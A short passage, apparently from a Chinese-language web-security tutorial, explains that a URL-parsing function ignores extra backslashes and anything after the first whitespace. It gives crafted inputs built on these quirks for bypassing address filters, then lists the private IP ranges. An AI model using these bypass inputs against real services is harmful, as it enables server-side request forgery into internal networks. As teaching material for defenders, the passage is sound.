多余的反斜杠会被忽略,例如 \\b\\a\\i\\d\\u.\\c\\o\\m
等价于baidu.com
。
第一个空白字符后的数据会被忽略,例如 127.0.0.1 abc
等价于127.0.0.1
。
因此若底层使用该函数进行解析,则可以采用上述方法绕过。
内网 IP 以下 IP 范围均输入内网 IP:
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16